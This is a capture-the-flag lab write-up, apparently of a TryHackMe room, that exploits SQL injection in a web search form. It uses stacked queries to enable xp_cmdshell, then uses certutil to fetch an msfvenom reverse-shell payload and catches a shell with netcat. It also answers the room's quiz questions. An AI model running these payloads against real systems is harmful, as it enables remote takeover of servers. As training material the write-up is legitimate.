SQL injection
Inject the Halls with EXEC Queries
- Learn to understand and identify SQL injection vulnerabilities
- Exploit stacked queries to turn SQL injection into remote code execution
- Help Elf McRed restore the Best Festival website and save its reputation!
I'm tasked with attacking a Windows computer vulnerable to SQL-injection.
└─$ export box=10.10.221.121
└─$ firefox $box
There is a website hosted at the box.
Using this search page with url-parameters I can try sql-injections.
Adding a '
to the end of the url gives an error output.
http://10.10.221.121/giftresults.php?age=child&interests=toys&budget=40%27
Database query error: Array ( [0] => Array ( [0] => 42000 [SQLSTATE] => 42000 [1] => 105 [code] => 105 [2] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string '40''. [message] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string '40''. ) [1] => Array ( [0] => 42000 [SQLSTATE] => 42000 [1] => 102 [code] => 102 [2] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near '40''. [message] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near '40''. ) )
To get the first flag I inject ' 1=1 --
. The flag is at the bottom of the results list.
http://10.10.221.121/giftresults.php?age=child&interests=toys&budget=%27%20OR%201%3D1%20--
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.214.49 -f exe -o reverse.exe
└─$ python3 -m http.server 8000
http://10.10.221.121/giftresults.php?age='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
http://10.10.221.121/giftresults.php?age='; EXEC xp_cmdshell 'certutil -urlcache -f http://{my_ip}:8000/reverse.exe C:\Windows\Temp\reverse.exe'; --
└─$ nc -lnvp 4444
http://10.10.221.121/giftresults.php?age='; EXEC xp_cmdshell 'C:\Windows\Temp\reverse.exe'; --
Shell is now active.
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.214.49] from (UNKNOWN) [10.10.221.121] 49706
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ..
cd ..
C:\Windows>cd ..
cd ..
C:\>cd Users
cd Users
C:\Users>dir /s *note*
Directory of C:\Users\Administrator\Desktop
10/24/2023 12:03 AM 651 Note.txt
1 File(s) 651 bytes
C:\Users\Administrator\Desktop>type Note.txt
type Note.txt
====================
Hey h4ck3r0192,
I recieved your Bitcoin payment, thanks again for a speedy transaction.
After you gain access to the server, you can deface the website by running the deface_website.bat script in C:\Users\Administrator\Desktop. Feel free to dump the database and steal whatever you want.
If you need to revert the changes back to the original site for any reason, just run restore_website.bat from the same directory.
Also, I shouldn't need to mention this, but PLEASE DELETE this Note.txt file after defacing the website! Do NOT let this hack tie back to me.
-Gr33dstr
THM{REDACTED}
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Users\Administrator\Desktop
11/02/2023 08:48 PM <DIR> .
11/02/2023 08:48 PM <DIR> ..
10/24/2023 01:28 AM <DIR> 1
11/02/2023 08:48 PM <DIR> backups
11/02/2023 08:05 PM 339 deface_website.bat
10/24/2023 12:03 AM 651 Note.txt
11/02/2023 08:05 PM 388 restore_website.bat
3 File(s) 1,378 bytes
4 Dir(s) 10,492,379,136 bytes free
C:\Users\Administrator\Desktop>restore_website.bat
restore_website.bat
Removing all files and folders from C:\inetpub\wwwroot...
Website restoration completed. Please refresh the home (/index.php) page to see the changes and obtain your flag!
C:\Users\Administrator\Desktop>
Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?
URL to the page.
Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?
In plain text in the return value.
Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?
http://10.10.221.121/giftresults.php?age=child&interests=toys&budget=%27%20OR%201%3D1%20--
What flag is in the note file Gr33dstr left behind on the system?
Found in the Note.txt
.
What is the flag you receive on the homepage after restoring the website?
Found at the main page after running restore_website.bat
.